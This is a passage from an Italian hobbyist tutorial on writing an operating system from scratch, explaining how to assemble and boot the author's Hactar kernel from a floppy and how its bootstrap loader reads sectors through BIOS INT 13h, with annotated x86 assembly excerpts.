| ISP se prima non scriviamo: a) le funzioni per gestire tastiera, video, |
| memoria, dischi; b) una serie di drivers di gestione per i protocolli di |
| connessione; c) un browser e un mail client tanto per dirne un paio. |
| Dato che non abbiamo tre vite da usare 24 ore su 24, converra` cercare |
| aiuto da parte di qualche anima buona, anzi, molte anime buone, almeno |
| DOPO che il nostro sistema sara` in grado di far funzionare il PC. |
| |
| E ora, passerei anche al kernel, anche se credo che potro` parlarne ben |
| poco in questo capitolo. Per prima cosa, infatti, dobbiamo caricarcelo |
| in memoria. Vedremo che non e` una cosa tanto semplice. |
| |
| Eh... caricarlo... ma dove, e come? Se e` proprio il kernel che gestisce |
| sia i dischi che la memoria? Nessun problema: abbiamo il buon bootstrap |
| loader che e` fatto proprio per questo! Naturalmente tramite versioni |
| semplificate delle chiamate al BIOS che gestiscono tali dispositivi: |
| queste versioni semplificate si chiamano oggi "Legacy Interfaces", |
| interfacce che i PC moderni hanno avuto in eredita` (legacy) da quelli |
| passati. |
| |
| Ora vi mostro un bootstrap loader "serio", non come quel giocattolo che |
| avevo presentato nel primo capitolo. Visto che lavoreremo sul sorgente |
| di un S.O. che si chiama Hactar, che ho scritto interamente io, e che |
| e` del tutto inedito e diversissimo da quelli esistenti, prevedo che |
| sarete interessati all'idea, e in seguito delusi dal fatto di capirci |
| ben poco. Ma non fatevi prendere dal panico. Ora, non posso inserire il |
| sorgente del kernel QUI, vuoi perche` allungherebbe il capitolo fino a |
| far venire l'esaurimento nervoso a chi lo impagina, vuoi perche` in 72 |
| colonne non ci sta proprio. Decomprimete l'attachment LC.ZIP, in una |
| directory piazzata nella root del vostro disco "C" e chiamata LC, cioe` |
| selezionate come destinazione la directory "C:\LC". Non che non funzioni |
| se lo piazzate in un'altra directory, ma vediamo di fare le cose nello |
| stesso modo, per intenderci meglio in futuro. Aprite poi il file LC.ASM |
| usando i seguenti comandi dal prompt di MS-DOS: |
| |
| CD\LC (invio) |
| E (invio) |
| |
| Si, in quel file che vi troverete sullo schermo c'e` praticamente TUTTO |
| il kernel, fin dove sono arrivato a svilupparlo. Perche` non ve l'ho |
| presentato "a episodi"? Mah, sarebbe stato inutile: non sono mica qui |
| per vendervi un periodico... e cosa faro` allora nei prossimi capitoli, |
| dato che il kernel l'avete gia`? Be', a parte che il kernel senza moduli |
| di sistema e` un tantino inutile (ma non del tutto: quello di Hactar e` |
| un kernel molto particolare, ed ha delle capacita` tutte sue, che non |
| dipendono da moduli separati), in sostanza nei prossimi 250 milioni di |
| capitoli vi spieghero` come funziona quell'arnese. Va be', scherzavo... |
| forse ce la faremo in soli 225 milioni di capitoli. |
| Comunque, spezzarlo sarebbe servito a ben poco, perche` in tal modo non |
| ci sarebbe stato molto da vedere. Anche cosi, ricordatevi che gran parte |
| del kernel ha effetti "nascosti", che rimangono in sfondo all'attivita` |
| visibile dell'interfaccia di sistema. Uno dei piu` importanti di questi |
| effetti nascosti e` la gestione delle interrupt, chiamata nel caso di |
| Hactar, "flat-to-real mode interrupt switching". Hactar usa due tabelle |
| di interrupts, una in modalita` reale, e una in modalita` flat, ma |
| rimandiamo pure le spiegazioni dettagliate a dopo... |
| |
| Uhm... ovviamente non mi assumo responsabilita` per eventuali danni. |
| E ovviamente l'autore sono e resto io, e ne ho le PROVE. Il copyright |
| e` mio, e sebbene non voglia vendere il mio S.O. piu` recente, e non |
| voglia tenere il sorgente per me, assumere la paternita` dell'opera |
| mi serve per fare il... cioe`, per evitare che qualcuno possa usare |
| questo S.O. commercialmente, cioe` vendendolo. Non provateci nemmeno. |
| A meno che non mi paghiate i diritti... ma non lo consiglio: e` il tipo |
| di sistema che non va di moda oggi. E` solo il tipo di sistema che la |
| NASA probabilmente userebbe per guidare le Voyager in modo affidabile. |
| |
| Ora, parlando del bootstrap loader... no, ecco: ora vorrete vedere come |
| funziona, cosa riesce a fare, come si presenta. Farlo almeno partire, |
| insomma. Va bene! Togliamoci la curiosita`, che` poi si ragiona meglio. |
| |
| Fatemi almeno fare una piccola introduzione utile ad evitare problemi: |
| il sistema operativo ha due nomi, uno dei quali era il "nome in codice" |
| che usavo quando non avevo ancora stabilito quello definitivo. |
| Si chiama Hactar, e il suo nome in codice e` Lasting Child. |
| Quella esistente oggi e` una versione incompleta, un prototipo, che |
| io spero di portare a un livello accettabile di funzionalita` proprio |
| mentre voi seguite questi articoli. Non e` che non sappia come fare, |
| beninteso, e` solo che ci vorra` ancora un po' di tempo. |
| Comunque siete i primi a vederlo. In assoluto. Che scoop, eh? Boh? |
| |
| Il nome definitivo e` quello di un potentissimo quanto immaginario |
| computer che in un libro di Douglas Adams concepiva nientemeno che |
| "l'arma definitiva", che avrebbe potuto distruggere l'universo intero. |
| Tuttavia, non voleva farlo perche` avesse una personalita` malvagia, |
| ma solo perche` gli era stato ordinato di farlo da una razza di alieni |
| molto bellicosi, i cosidetti "Silastic Armorfiends of Striterax". |
| |
| Ecco: volendo trovare un parallelo, fate attenzione a NON chiedere ad |
| Hactar di formattarvi il disco rigido, per errore. Il disco rigido non |
| si chiama C, e nemmeno "hda". Si chiama MD01, emme di zero uno, sigla |
| di Mass Device 01, primo dispositivo di memoria di massa. Per contro, |
| la sigla che identifica il primo floppy, il drive A, e` RD01, ovvero |
| Removable Device 01. Per essere proprio sicuri di non autoformattarvi |
| il disco rigido, basta che non digitiate la sigla MD01 da nessuna parte, |
| sullo schermo. Per il resto, potete spippolare in liberta`... |
| |
| - Ho Linux sulla seconda partizione: quasi quasi formatto Windoze... |
| cosi, per provare come va... |
| - No, guarda che ti fotte anche Linux. Hactar non conosce partizioni, |
| solo drives fisici. La tabella delle partizioni non e` roba sua, e |
| lui la userebbe per il suo bootstrap loader. E buonanotte... |
| |
| Uhm... il nome in codice e` il titolo di una canzone degli Angra. |
| Significa pressappoco "Eterno Bambino", e sta a significare che Hactar |
| e` un qualcosa di non evoluto. Non intendo dire che non sia efficiente |
| e discretamente potente: e` piu` veloce di qualsiasi altro sistema noto, |
| incluso il V2 (www.v2os.cx), perche` il suo punto di forza e` l'estrema |
| semplificazione delle varie operazioni. Questo ne limita certe funzioni, |
| ad esempio non puo` essere usato per il multitasking, ma riserva molti |
| altri vantaggi. A parte la velocita`, e la ovvia stabilita`, Hactar e` |
| adattissimo allo scopo di questa serie di articoli: un S.O. partendo da |
| zero. Dato che Hactar rappresenta un valido archetipo, il suo kernel |
| puo` essere espanso, riadattato, riplasmato nella forma che vorrete, |
| una volta che avrete capito i principi su cui si basa. |
| |
| - Allora? Ce lo vuoi far PROVARE? |
| - Va bene. Andate al prompt del DOS. |
| |
| Scrivete CD\LC (+invio) per tornare nella directory di Hactar. |
| Poi scrivete UPDATE e premete invio. UPDATE e` un piccolo batch che si |
| occupa di chiamare l'assemblatore con i parametri corretti... FERMI, |
| aspettate un attimo! ...come vi avevo detto nel primo capitolo, per non |
| avere problemi dovreste procurarvi il Borland Turbo Assembler 3.1, piu` |
| il suo linker e alcuni files di supporto. Se avete il Borland C++ 3.1 |
| per DOS, dovreste avere anche l'assemblatore, in genere nella directory |
| BORLANDC\BIN. Almeno, io tanti anni fa, nei dischetti della scatola ce |
| l'ho trovato. Non posso fornirvelo io, pero`, perche` mi sa che sarebbe |
| una gran bella violazione di copyright. Come dissi nel primo capitolo, |
| i files di cui avete bisogno per assemblare qualcosa con il TASM sono: |
| |
| TASM .EXE 129.266 bytes |
| TLINK .EXE 150.569 bytes |
| DPMI16BI.OVL 60.672 bytes |
| DPMILOAD.EXE 22.212 bytes |
| DPMIMEM .DLL 24.932 bytes |
| |
| ...che, per il funzionamento di UPDATE.BAT, dovreste copiare nella |
| directory C:\LC dove avete estratto il sorgente e le varie utilities. |
| Se non usate queste esatte versioni dei files, cioe` quelle che uso io, |
| naturalmente non garantisco che non insorgano problemi... ma immagino |
| dovrebbe andare bene anche qualche altra versione del TASM. Quella piu` |
| recente costa 195 dollari; sarei anche tentato di comprarla, ma dal sito |
| non la vendono al di fuori degli USA, e qui non c'e` verso di trovarla. |
| |
| Allora, eravamo rimasti a scrivere UPDATE. |
| UPDATE compilera` (silenziosamente) tutto il kernel prendendolo dal |
| file LC.ASM e depositandolo nel file che si chiama "LC", senza nessuna |
| estensione, e di lunghezza fissata a 32256 bytes. |
| |
| Dopodiche`, UPDATE vi chiedera` di inserire un dischetto (vuoto, ma |
| formattato) nel drive A, e di premere un tasto quando siete pronti. |
| Poi chiamera` STREAM, il mio programmino per riversare il contenuto |
| del file sul dischetto cosi com'e`, senza usare il file system del DOS. |
| Quando tutto e` finito, per lanciare Hactar non vi rimane che riavviare |
| il computer, chiudendo la sessione di Windoze come al solito ma, com'e` |
| ovvio, LASCIANDO il dischetto nel drive. Se volete controllare se tutto |
| e` andato bene, confrontate la schermata del DOS con quanto segue: |
| |
| Assembling system code from LC.ASM... |
| |
| Target module name: LC |
| Assembling complete. |
| |
| Insert diskette to update in drive A and press any key. |
| Ctrl-Break will quit now, without deleting the assembled version. |
| ! Beginning |
| - Writing area 00:01:00 (TT:SS:HH, 0 sectors so far and going) |
| - Writing area 00:01:01 (TT:SS:HH, 18 sectors so far and going) |
| - Writing area 01:01:00 (TT:SS:HH, 36 sectors so far and going) |
| - Writing area 01:01:01 (TT:SS:HH, 54 sectors so far and going) |
| ! Complete |
| total sectors written: 63 |
| total bytes used: 32256 |
| last access: 9 sectors |
| first sector used: 00:01:00 |
| next free sector: 01:10:01 |
| |
| Ok, facciamo conto che non abbiate ancora il TASM e che siate curiosi: |
| LC l'ho gia` fornito anche in versione binaria. In tal caso, dovreste |
| solo andate nella sua directory, mettere un floppy in A e scrivere: |
| |
| STREAM LC 0 1 0 |
| |
| Nel caso usiate un'altra versione del TASM, potrebbe verificarsi qualche |
| problema di disallineamento dei tre segmenti che costituiscono il nucleo |
| del sistema, cioe` i segmenti "BootStrap", "MemoryManager" e "System32". |
| Questi sono risolvibili ponendo o ritoccando delle particolari costanti |
| di allineamento alla fine dei segmenti (i fillers). Il bootstrap non ne |
| ha uno perche` se compilato con TASM 3.1 viene esattamente 512 bytes, il |
| System32 non ne ha bisogno perche` e` l'ultimo segmento del nucleo, ma |
| per un esempio potete osservare la fine del segmento "MemoryManager": |
| |
| align 16 |
| dw 50 * 8 dup (0DB87h) |
| |
| ...che piazzano 50 paragrafi di allineamento (50 gruppi di 8 words). |
| Un paragrafo e` come un segmento in modalita` reale: e` lungo 16 bytes. |
| L'opcode di riempimento corrisponde a "xor bx, bx", pressoche` innocuo; |
| alternativamente potreste usare delle NOP (opcode 90h, di un byte). |
| |
| align 16 |
| db 50 * 16 dup (90h) |
| |
| Ora, a essere sinceri, la cosa migliore da fare sarebbe procurarsi un |
| computer "muletto", una macchina su cui fare i test, quando si vuole |
| modificare il sistema e poi lanciarlo. Riavviare molte volte non fa |
| precisamente bene al computer, ed in effetti io ho due computers qui, |
| uno su cui lavoro e l'altro su cui faccio le prove; piu` un portatile |
| per prove "accessorie" (i portatili sono PC un po' strani, a volte, e |
| sincerarsi che il sistema funzioni su uno di essi e` buona abitudine). |
| Quando mi dedico al ciclo "modifica e collaudo" di Hactar, tengo tutti |
| e tre i computers accesi, e nella stessa stanza. Questo e` il metodo |
| che vi consiglierei di adottare... anche se riconosco che avere piu` di |
| un PC nella stessa stanza non e` precisamente una condizione normale, |
| quando si e` a casa propria; magari fatevi vendere a prezzo stracciato |
| un vecchio PC da un amico... tanto non ne avrete bisogno molto presto. |
| Eccetto chi e` gia` molto esperto, non credo che la maggior parte dei |
| lettori sapra` modificare costruttivamente il sorgente di Hactar tanto |
| presto, anche se naturalmente nessuno vi proibisce di avventurarvi |
| (ma a vostro rischio e pericolo). |
| |
| E ora, se permettete, passiamo a capire come funziona Hactar, a partire |
| dal suo bootstrap loader, il quale carica TUTTO il sistema in un colpo: |
| in effetti, il kernel di Hactar e` un "nanokernel" la cui lunghezza e` |
| limitata, attualmente, a 28 Kb soltanto. Non sono neanche del tutto |
| riempiti, questi 28 Kb: ci sono altre funzioni da includere, e molte |
| ottimizzazioni da fare per comprimere quel che c'e` gia`. |
| |
| Il kernel e` memorizzato a partire dal secondo settore del disco, subito |
| dopo il settore che contiene il bootstrap loader. A differenza di molti |
| S.O. che sono legati alla dimensione standard di un settore (512 bytes), |
| Hactar puo` funzionare su dischi con settori di dimensioni maggiori, |
| anche se non puo` farlo su quelli di dimensioni minori (non c'entra il |
| bootstrap loader). Attualmente, comunque, pressoche` TUTTI i dischi, FD |
| o HD che siano, hanno settori di 512 bytes. Hactar e` inoltre immune dai |
| cambiamenti nella geometria fisica del drive, perche` quando su un disco |
| si memorizza una serie di dati, si usano tutti i settori contigui di una |
| stessa traccia, prima di passare alla testina successiva. Quando tutti i |
| settori di tutte le testine (di uno stesso cilindro) sono esauriti, si |
| passa infine alla traccia (o cilindro) successiva. Per dettagli sulla |
| geometria dei floppy da 1.44 Mb vi rimando al capitolo 1. Ora, esaminate |
| la funzione per leggere dei settori dal disco (Ralf Brown files): |
| |
| --------B-1302------------------------------- |
| INT 13 - DISK - READ SECTOR(S) INTO MEMORY |
| AH = 02h |
| AL = number of sectors to read (must be nonzero) |
| CH = low eight bits of cylinder number |
| CL = sector number 1-63 (bits 0-5) |
| high two bits of cylinder (bits 6-7, hard disk only) |
| DH = head number |
| DL = drive number (bit 7 set for hard disk) |
| ES:BX -> data buffer |
| Return: CF set on error |
| if AH = 11h (corrected ECC error), AL = burst length |
| CF clear if successful |
| AH = status (see #00234) |
| AL = number of sectors transferred |
| |
| in particolare, fate caso al valore del registro CL (CL e` di 8 bit): |
| i 6 bits meno significativi (bits da 0 a 5) sono quelli che contengono |
| il numero di settore da cui iniziare a leggere. Come sapete, 6 bits |
| permettono di accedere a valori da 0 a 63, quindi nel complesso si |
| potrebbe accedere a un totale di 64 settori, SENZA mai dover cambiare |
| testina o traccia di lettura (CH=numero traccia, DH=numero testina). |
| In realta`, i settori accessibili sono solo 63, perche` il settore |
| zero non esiste: sono l'unica entita` che viene numerata a partire da |
| uno, e riferirsi al settore zero causa solo un errore. |
| 63 per 512 bytes da` un totale di 32256 bytes, che vi fa capire perche` |
| SIA PROPRIO QUELLA la lunghezza del file "LC", la versione binaria del |
| sorgente. Per riprova, avete l'output di STREAM, che alla fine recita |
| "total sectors written: 63". |
| |
| Ma perche` sottostare a questa limitazione dei 63 settori, visto che |
| basta passare di testina in testina e poi di traccia in traccia, per |
| caricare tutto il resto del disco? |
| |
| Perche` e` falsa quest'ultima assunzione: ricordatevi che noi stiamo |
| usando la vecchia legacy ISA interface. Il caricamento dei primi 63 |
| settori dovrebbe essere l'unico compito svolto con questa interfaccia, |
| onde evitare qualsiasi problema con i dischi piu` grandi di 8.4 Gb. |
| Ci penseranno le funzioni del kernel ad accedere a tali dischi. |
| |
| Potremmo allora caricare piu` di una traccia (composta al massimo da |
| 63 settori)? In teoria si, in pratica preferisco non farlo: attualmente |
| i settori si sono tenuti sotto ai 63, ma niente impedisce che in futuro |
| la geometria fisica dei grossi dischi non RICHIEDA il superamento di |
| questo limite. Cosa succede, allora? Succede che non potremmo piu` |
| caricare il kernel, superato il 63esimo settore. Anche se sappiamo che |
| il disco ha, che so, 4096 settori per traccia, dopo il 63esimo la ISA |
| non ci fa piu` leggere, e passare alla prossima testina significherebbe |
| spostarsi ben 4096 settori piu` avanti. |
| |
| Altra caratteristica: il bootstrap loader di Hactar carica il kernel in |
| memoria UN SETTORE PER VOLTA. Anche per questo c'e` il suo motivo: |
| molti dischi possono continuare a leggere e scrivere attraversando la |
| superficie del disco di traccia in traccia (i crosstrackers); ma molti |
| altri no. Per evitare qualsiasi problema nel boot, non chiediamo al BIOS |
| di leggere, con una sola chiamata, tutti e 63 i settori: ne leggiamo uno |
| per volta e poi aumentiamo il valore di CL ad ogni nuova chiamata, |
| eventualmente cambiando MANUALMENTE testina e traccia. |
| Durante il boot (una frazione di secondo), infatti, potete vedere una |
| fila di puntini che "corrono" sull'ultima riga dello schermo: ogni |
| puntino rappresenta un settore letto in memoria dal bootstrap loader. |
| |
| Veniamo ai dettagli del bootstrap loader. |
| All'inizio del suo segmentino di codice c'e` questa roba qui: |
| |
| ADDRESS7C00: |
| jmp @@sVPB ; jmp to absolute offset 104 over VPB |
| BID dd 00h ; absolute offset: 02, size 4 bytes |
| NTK dd 50h ; absolute offset: 06, size 4 bytes |
| NHD dd 02h ; absolute offset: 10, size 4 bytes |
| SPT dd 12h ; absolute offset: 14, size 4 bytes |
| BPS db 09h ; absolute offset: 18, size 1 byte |
| STL db 00h ; absolute offset: 19, size 1 byte |
| vtoc dd 32256 ; absolute offset: 20, size 4 bytes |
| reserved1 dd 00000000h ; absolute offset: 24, size 4 bytes |
| cksum dd 'TEST' ; absolute offset: 28, size 4 bytes |
| sgntr dd 'VPBX' ; absolute offset: 32, size 4 bytes |
| reserved2 dd 00000000h ; absolute offset: 36, size 4 bytes |
| vlabel db 'Hactar' ; absolute offset: 40, size 64 bytes |
| db ' System Disk' ; . |
| db 46 dup (32) ; volume label padder |
| @@sVPB: cli ; * IRQ off (stack not ready) |
| |
| si tratta di un breve salto incondizionato (jmp @@sVPB) che passa ad |
| eseguire la prima, vera istruzione, del bootstrap loader (cli), per la |
| quale vi rimando al primo capitolo. Che cosa viene saltato, in quanto |
| non si tratta di istruzioni eseguibili? Si tratta di dati: e` una |
| tabella chiamata VPB (Volume Parameters Block). In essa ci sono d
elle |
| informazioni di *vitale* importanza per la gestione del boot e |
| dell'accesso al disco in genere. Il VPB riflette la geometria fisica |
| del disco (BID, Bios ID, NTK, Number of TracKs...) e la funzione di |
| ognuno dei campi e` spiegata tra i commenti introduttivi del sorgente. |
| Anche se altri S.O. usano la sigla VPB, ricordatevi che Hactar usa un |
| VPB "proprietario", non compatibile con gli altri: e` necessario per |
| non avere problemi con la dimensione dei campi (quasi tutti a 32 bit, |
| e per cui molto lungimiranti). Ora vediamo la fase di lettura: |
| |
| @@read: mov cx, di ; ¿ CL = current sector |
| mov bx, bp ; ³ BX = current track |
| mov ch, bl ; ³ CH = track number |
| mov ax, 0201h ; ³ read 1 sector per call (AL = 01) |
| xor bx, bx ; ³ offset zero of destination segment |
| int 13h ; Ù LEGACY ISA DRIVE SERVICES |
| jnc @@done ; ¿ check error status throught carry |
| cmp ah, 11h ; ³ error code: corrected ECC/CRC |
| je @@done ; ³ (go on, that wasn't a real error) |
| cmp ah, 06h ; ³ error code: disk changed |
| je @@read ; ³ (ok, we realized it's changed) |
| jmp @@crit ; Ù else, there's nothing left to do |
| |
| da notare che al ritorno dalla chiamata ad int 13h (il dispatcher dei |
| servizi disco) per prima cosa viene controllato il carry, il quale in |
| molti casi viene trattato dai dispatchers come un segnale, che indica |
| una condizione di errore generico. Il codice d'errore vero e proprio, |
| l'interfaccia ISA ce lo fornisce nel registro AH. Anche qui, bisogna |
| fare attenzione a due casi particolari che NON sono davvero errori: il |
| codice 11h ed il codice 06h. L'11h significa che il drive ha trovato un |
| blocco del disco (uno o piu` settori) per il quale c'e` stato un errore |
| di trasferimento dei dati. Alcuni drives piu` evoluti possono correggere |
| tali errori, che spesso sono transitori, automaticamente, in genere |
| ripetendo la lettura/scrittura. Quindi, se riceviamo il codice 11h non |
| significa che l'operazione di lettura e` stata rovinata, ma il BIOS ci |
| informa che ha dovuto correggere un errore. Poi c'e` il codice 06h, il |
| quale ha uno scopo puramente informativo: avverte che il drive ha la sua |
| "disk change line" attivata. Significa, in pratica, che un dischetto, o |
| un qualsiasi media rimovibile, e` stato espulso e poi reinserito nel |
| drive. In genere, vuol dire che e` stato cambiato il disco. Diversamente |
| dalle funzioni di lettura/scrittura (piu` evolute) del kernel, il |
| bootstrap loader non si cura del segnale di cambio disco: si limita a |
| prenderne atto e a ripetere la lettura; la lettura viene ripetuta |
| perche` il BIOS giustamente non si assume la responsabilita` di leggere |
| o scrivere senza avere una conferma, dal S.O., che il disco e` quello |
| giusto; il segnale di cambio disco viene ignorato perche` durante il |
| boot e` pressoche` SEMPRE attivo, alla lettura del primo settore, dato |
| che e` la prima lettura effettuata dopo che il disco e` stato inserito |
| nel drive. Potreste essere intelligenti e notare che in realta` la prima |
| lettura e` stata quella fatta dal BIOS stesso per caricare in memoria i |
| 512 bytes del bootstrap loader. Vero: pero`, quella in particolare, e` |
| un'operazione interna, e non modifica il segnale di cambio disco. |
| Se pero` il codice non e` ne` 11h, ne` 06h, il problema e` serio, e |
| l'errore c'e` davvero. In tal caso, be', il bootstrap puo` solo reagire |
| chiedendo di premere un tasto per riavviare (intrinsecamente dopo aver |
| cambiato il disco, o dopo averlo tolto per far avviare il disco rigido). |
| Se vi capita, buttate il dischetto nel cestino e tenetelo piu` lontano |
| dal cellulare, la prossima volta. Anzi, buttate anche il cellulare... |
| |
| La lettura avviene progressivamente, 512 bytes per volta, spostando il |
| segmento di destinazione dei dati. Per la ISA, questo segmento e` dato |
| dal registro di segmento chiamato "ES". I registri di segmento (CS, DS, |
| ES, FS, GS, SS) si usano insieme a quelli degli offset (BX, BP, SI, DI) |
| per accedere alla memoria in modalita` reale (vedi capitolo 2). |
| Per la ISA, l'indirizzo di destinazione dove piazzare i dati letti dal |
| disco e` dato dalla combinazione ES:BX, dove ES contiene il segmento di |
| destinazione e BX l'offset. Come saprete dal capitolo 2, ogni segmento |
| e` allineato sui bordi di "gruppi" di bytes di 16 byte ciascuno, e puo` |
| estendersi fino a 64 Kb. Il kernel deve essere caricato a partire da |
| una locazione di memoria fissa, la 0800h:0000h, oppure 0000:8000h, che |
| dista 32Kb dall'inizio della memoria, e che, mappa della memoria alla |
| mano (capitolo 1), rappresenta la prima locazione libera. |
| Per cui, il registro ES viene inizialmente assegnato a: |
| |
| mov ax, @discst/16 ; ¿ system code segment (@discst/16) |
| mov es, ax ; Ù ES = 7E0h, 31.5K from address zero |
| |
| e poi viene fatto avanzare, dopo ogni lettura di un settore, di 512/16 |
| unita`, in quanto 16 bytes e` appunto l'allineamento dei settori. Questo |
| compito di "avanzamento" viene svolto dalle seguenti istruzioni: |
| |
| sub BPS, 4 ; * make BPS in paragraphs, not bytes |
| ...(omissis)... |
| @@smcy: mov cl, BPS ; ¿ set bitwise shifter |
| mov ax, 1 ; ³ we've read 1 sector |
| shl ax, cl ; ³ AX = n. of data paragraphs read |
| mov bx, es ; ³ BX = above destination segment |
| add bx, ax ; ³ BX = next destination segment |
| mov es, bx ; Ù ES = new destination segment |
| jmp @@read ; restart the loop to next sector |
| |
| (BPS, che per dischi con 512 bytes per settore vale 9 (2^9 = 512) viene |
| diminuito di 4 unita`, in quanto 2^4 = 16. "L'animazione" del registro |
| ES avviene tramite "shifting" dei bits. Si, mi piacerebbe spiegare anche |
| cosa significa questo: in sintesi, si tratta di un modo per dividere e |
| moltiplicare per potenze di due piu` velocemente e in modo piu` compatto |
| che usando operazioni aritmetiche. E` un po' "come togliere o aggiungere |
| degli zeri" in decimale per moltiplicare e dividere per potenze di 10. |
| In sintesi, per ogni bit di spostamento a sinistra, SHL, di un valore |
| binario E intero, si ha un fattore 2 di moltiplicazione, mentre per ogni |
| bit di spostamento a destra, SHR o SAR, si ha un fattore 2 di divisione. |
| Ma per i dettagli vi rimando ancora a un manuale di assembly: non vorrei |
| sembrare superficiale, perche` non e` nelle mie intenzioni lasciare |
| qualcosa di non spiegato, ma nel caso dovessi spiegare tutto su ogni |
| singola istruzione la cosa diventerebbe molto, molto lunga, e inoltre |
| annegherebbe il resto. Il sorgente e` MOLTO commentato, comunque.) |
| |
| Anche in quel caso la quantita` non e` fissa, anche se attualmente sara` |
| in effetti di 512/16. Dipende dalla lunghezza di un settore, data dalla |
| variabile BPS (Bytes per Sector). Perche` 7E0h e non PROPRIO 800h? Be', |
| per prima cosa dovete sapere che il codice del bootstrap di Hactar non |
| superera` MAI i 512 bytes, anche se forse i settori in futuro saranno |
| piu` grandi. 512 bytes bastano e avanzano per quel che deve fare. |
| In secondo luogo, tenete presente che il segmento 7E0h dista 512 bytes |
| dal segmento 800h dove deve essere caricato IL RESTO del nucleo del |
| sistema (intendendo per "nucleo" = bootstrap + kernel). Ma se bootstrap |
| loader e kernel, sul floppy da 1.44 Mb e su tutti dischi con 512 bytes |
| per settore, sono posti in settori fisicamente diversi, a Hactar questo |
| non importa un gran che: il nucleo e` visto come un "monoblocco" di roba |
| senza confini netti; insomma, i primi 512 bytes, al di la` del fatto che |
| riempiano o no tutto il primo settore del disco, contengono il codice di |
| avviamento, quello che forma il bootstrap loader. Subito dopo di essi, |
| viene registrato il kernel. Quindi, leggendo a partire da 7E0h, a 512 |
| bytes dal segmento 800h dove vogliamo che il kernel si trovi, facendogli |
| riversare il contenuto del disco cosi com'e`, tutto d'un colpo, abbiamo |
| automaticamente piazzato il kernel nel segmento 800h, e al 7E0h avremo, |
| per effetto collaterale, un'inutile copia del bootstrap loader. Vedremo |
| poi che questo "buco di memoria" di 512 bytes non rimarra` inutilizzato. |
| Ma perche`? Non si potrebbe leggere direttamente dal SECONDO settore in |
| poi, visto che al secondo settore comincia il kernel? Be', tutti i S.O. |
| di cui ho esaminato il bootstrap fanno qualcosa del genere. Ma Hactar, |
| come ho rimarcato piu` volte, non vuole legarsi all'assunto che un solo |
| settore prenda 512 bytes; se infatti leggessimo dal secondo settore di |
| un disco che annovera ben 1024 bytes per settore, ci troveremmo senza |
| volerlo in una di due situazioni problematiche: |
| |
| a) lasciando le cose come stanno, in memoria si caricherebbe solo PARTE |
| del kernel, perche` se il kernel e` "attaccato" al bootstrap loader, |
| ed il segmento 2 comincia 512 bytes dopo l'inizio del kernel, si |
| salterebbero a pie' pari ("a testin' pari") i suoi primi 512 bytes: |
| osservate lo schemino, ASCIIzzato e imbruttito perche` l'EDIT del DOS |
| e` ormai in disuso. Nel kernel ce n'e` uno che e` ancora piu` potente |
| come generatore di mal di testa... quello ve lo spieghero` in futuro. |
| |
| settore 1 settore 2 settore 3... |
| | | | |
| ^-----------|-----------^-----------------------^---- Ä Ä |
| | | | | |
| | 512 bytes |-----------|--- kernel ------------|--- -- - |
| | | | | |
| ^-----------|-----------^-----------------------^ÄÄÄÄ Ä Ä |
| | | | |
| inizio fine inizieremmo a leggere da qui, |
| bootstrap bootstrap saltando quel che c'e` fra questo |
| loader loader punto e la fine del bootstrap loader |
| |
| b) se decidessimo di sorvolare questo problema mettendo 512 bytes di |
| riempimento tra il bootstrap loader e il kernel, oppure se volessimo |
| registrare incondizionatamente il kernel a partire dal secondo |
| settore del disco, per prima cosa sprecheremmo 512 bytes di memoria, |
| perche` 1024 - 512 = 512, e questa, data la dimensione massima del |
| nucleo (31.5K), potrebbe essere una perdita significativa, e avremmo |
| anche un altro problema, per come verra` impostato poi il kernel: |
| infatti, le funzioni del kernel che si occupano dell'I-O su disco |
| operano in uno schema FLAT a 64 bit, che non "vede" i settori fisici |
| ma soltanto i bytes che li compongono. |
| |
| Cos'e` lo schema FLAT? L'avete sentito dire tante volte in questi miei |
| articoli. E` molto semplice da capire: avete presente il modo in cui in |
| modalita` reale si accede alla memoria, con indirizzi che vengono divisi |
| in segmento ed offset? Ecco: quello NON e` uno schema FLAT. Si tratta di |
| un'organizzazione della memoria chiamata "segmentazione", appunto. |
| Lo schema FLAT e` tutto l'opposto: non c'e` nessun segmento e nessun |
| offset, ma molto piu` semplicemente si numerano tutti i bytes di memoria |
| a partire da zero, fino all'ultimo che sia disponibile e indirizzabile. |
| Hactar usa due distinti schemi FLAT per indirizzare la memoria: per la |
| memoria RAM usa 32 bit, che indirizzano fino a 4 Gigabyte; per quella di |
| massa, ovvero floppy, hard disk, CD-ROM... usa 64 bit, che indirizzano, |
| in teoria, ben 16 milioni di Terabytes. MA attenti: solo in teoria, |
| perche` l'aritmetica binaria che viene usata nelle funzioni di I-O di |
| fatto limita lo spazio indirizzabile a 2 soli Terabytes, ovvero a 2048 |
| Gigabytes. Non mi aspetto che questo basti in futuro, ma al momento mi |
| fermo a questo range di indirizzi, corrispondente a 41 bit. |
| Che cifra strana, 41 bit... be', per il futuro non avremo problemi, |
| perche` in ogni caso il minimo ammontare di registri per contenere un |
| valore di 41 bits e` pari a due registri di 32 bit, ovvero a 64 bit |
| (tutte le funzioni del kernel usano esclusivamente registri a 32 bit). |
| Quindi, nell'I-O useremo comunque valori di 64 bit, solo che dovremo |
| stare attenti a non accedere oltre al 41esimo. Oh, comunque, al momento, |
| se avete un disco piu` grande di 2 Tb, regalatemelo e per premio vi |
| riscrivo le funzioni di I-O in modo che lo possano gestire; ma fate |
| presto: l'offerta e` valida fino al 31 dicembre del 2002. ;) |
| Si tratta di 41 bit perche` alla fine, quando il kernel deve effettuare |
| una lettura o una scrittura, tali indirizzi FLAT devono essere comunque |
| convertiti in coordinate CHS di settore, oppure, a seconda del tipo di |
| drive e di BIOS, in coordinate LBA. A ogni modo, 41 bit discendono dal |
| fatto che se i settori rimangono di quel minimo di 512 bytes ciascuno, |
| e per fare i calcoli piu` semplicemente e rapidamente usiamo registri |
| di 32 bit "naturali" ai nostri processori attuali, be', allora alla fine |
| abbiamo 9 bit, dati da 512 bytes (2^9 byte), piu` i 32 bit del registro, |
| e quindi 32 + 9 = 41. L'ammontare di memoria indirizzabile, di 2 Tb, e` |
| comunque piuttosto ampio e vedremo che Hactar, nel suo file system, |
| marcera` proprio sulla piu` bella caratteristica dei dischi odierni: |
| quella di essere immensi. |
| |
| Chiudendo la digressione e tornando al problema della situazione b, |
| e` chiaro che se posso gestire il disco linearmente, senza interruzioni |
| nella continuita` della sua memoria, mi risulta piu` scomodo usare la |
| vecchia (prima della rivoluzionaria funzione "VolumeIO" del kernel di |
| Hactar, della quale vado MOLTO, MOLTO fiero) suddivisione in settori. |
| Infatti, per esempio, c'e` una funzione che formatta i dischi: si chiama |
